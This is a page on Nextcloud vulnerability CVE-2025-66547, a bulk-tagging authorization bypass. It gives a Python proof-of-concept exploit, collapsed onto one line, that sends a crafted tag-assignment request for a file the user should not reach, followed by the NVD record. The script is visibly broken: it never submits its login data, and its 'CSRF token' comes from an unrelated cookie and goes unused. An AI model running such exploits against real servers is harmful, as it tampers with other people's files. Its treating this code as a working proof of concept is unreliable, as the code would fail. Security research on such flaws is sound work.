CVE-2025-66547

import requests import json # CVE-2025-66547 PoC - Nextcloud Bulk Tagging Authorization Bypass # Target: Nextcloud Server < 31.0.1 TARGET_URL = "https://vulnerable-nextcloud-server.com" USERNAME = "low_privilege_user" PASSWORD = "user_password" TARGET_FILE_ID = "12345" # File ID the user should not have access to def exploit(): # Step 1: Authenticate and obtain session session = requests.Session() login_url = f"{TARGET_URL}/index.php/login" login_data = { "user": USERNAME, "password": PASSWORD } # Step 2: Get CSRF token response = session.get(f"{TARGET_URL}/index.php/apps/files") csrf_token = session.cookies.get("oc_sessionPassphrase") # Step 3: Craft the malicious bulk tagging request bulk_tag_url = f"{TARGET_URL}/ocs/v2.php/apps/systemtag/api/v1/" headers = { "OCS-APIREQUEST": "true", "Content-Type": "application/json" } # Payload to assign tag to unauthorized file payload = { "tags": ["important"], "fileIds": [TARGET_FILE_ID], "action": "assign" } # Step 4: Send the exploit request response = session.post( bulk_tag_url + "assign", headers=headers, json=payload ) if response.status_code == 200: print("[+] Successfully modified tag on unauthorized file") else: print("[-] Exploit failed") if __name__ == "__main__": exploit()

{"cve": {"id": "CVE-2025-66547", "sourceIdentifier": "[email protected]", "published": "2025-12-05T17:16:05.330", "lastModified": "2025-12-09T16:31:38.237", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Nextcloud Server is a self hosted personal cloud system. In Nextcloud Server and Enterprise Server prior to 31.0.1, non-privileged users can modify tags on files they should not have access to via bulk tagging. This vulnerability is fixed in 31.0.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-639"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nextcloud:nextcloud_server:*:*:*:*:-:*:*:*", "versionStartIncluding": "31.0.0", "versionEndExcluding": "31.0.1", "matchCriteriaId": "D8631F6B-EED4-4B47-84C3-7BC63464AC15"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nextcloud:nextcloud_server:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "31.0.0", "versionEndExcluding": "31.0.1", "matchCriteriaId": "52B7D78F-BCCC-4178-BB21-AB9587D11386"}]}]}], "references": [{"url": "https://github.com/nextcloud/security-advisories/security/advisories/GHSA-hq6c-r898-fgf2", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}, {"url": "https://github.com/nextcloud/server/commit/b44f1568f2dc97c746281d99e2342ad679e3d8a9", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/nextcloud/server/issues/51247", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/nextcloud/server/pull/51288", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://hackerone.com/reports/3040887", "source": "[email protected]", "tags": ["Permissions Required", "Vendor Advisory"]}]}}